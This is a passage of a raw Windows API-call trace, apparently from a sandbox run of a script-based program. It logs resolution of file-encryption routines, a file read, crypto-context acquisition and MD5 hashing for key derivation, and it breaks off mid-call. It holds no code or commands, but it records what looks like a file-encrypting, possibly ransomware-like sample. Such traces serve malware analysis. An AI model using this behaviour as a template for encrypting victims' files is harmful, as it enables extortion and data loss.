CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0030.003] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0030.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40646d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0030.004] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.004] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.004] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.005] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.005] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.005] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.006] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.006] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.007] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.007] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.007] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.007] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.007] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.007] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.007] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0030.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12436) returned 1 [0030.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0030.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0030.007] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x3094, lpOverlapped=0x0) returned 1 [0030.007] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0030.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x3094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12436) returned 1 [0030.008] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.008] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.008] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.008] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.008] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.008] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0030.008] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.008] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.009] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.009] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.009] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0030.009] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.009] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0030.010] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.010] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.010] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.010] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0030.010] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.010] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.011] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.011] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.011] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.012] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.012] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.012] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0030.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 